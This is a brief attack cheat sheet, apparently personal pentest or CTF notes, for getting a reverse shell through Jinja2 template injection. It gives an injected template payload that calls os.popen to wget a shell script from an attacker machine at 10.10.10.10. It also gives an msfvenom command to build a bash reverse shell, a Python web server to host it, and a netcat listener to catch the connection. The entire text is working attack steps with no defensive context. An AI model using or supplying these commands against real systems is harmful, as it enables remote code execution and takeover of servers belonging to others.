Jinja2

LFI reverse shell

Kali:10.10.10.10

[1A]Target: inject the following command

{{config.class.init.globals['os'].popen('wget http://10.10.10.10:8000/revshell.sh -O /tmp/revshell.sh').read()}}

[1B] Generate msfvenom reverse shell (bash)

msfvenom -p cmd/unix/reverse_bash lhost=10.10.10.10 lport=4444 -f raw -o revshell.sh

[2]Serve reverse shell payload on port 8000 with python server

python3 -m http.server 8000

[3] Catch revshell nc -nvlp 4444